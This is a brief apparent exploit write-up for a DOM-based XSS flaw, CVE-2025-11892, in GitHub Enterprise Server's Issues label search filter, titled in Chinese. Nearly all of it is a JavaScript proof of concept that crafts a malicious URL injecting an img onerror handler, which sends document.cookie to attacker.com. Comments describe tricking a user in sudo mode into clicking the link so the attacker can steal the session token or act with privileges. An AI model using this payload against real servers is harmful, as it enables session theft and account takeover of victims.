CVE-2025-11892: GitHub Enterprise Server Issues搜索标签过滤器DOM型XSS漏洞

// Malicious URL payload for CVE-2025-11892 // Target: GitHub Enterprise Server Issues search label filter // Note: Requires victim to be in sudo mode and click the link const maliciousPayload = `"><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; const targetURL = `https://github.enterprise.com/issues?q=label:${encodeURIComponent(maliciousPayload)}`; // Attack chain: // 1. Attacker crafts malicious URL with XSS payload in label parameter // 2. Victim in sudo mode clicks the link // 3. Browser parses page and executes injected JavaScript // 4. Attacker steals sudo session token or performs privileged actions console.log('Malicious URL:', targetURL); console.log('Encoded payload:', encodeURIComponent(maliciousPayload));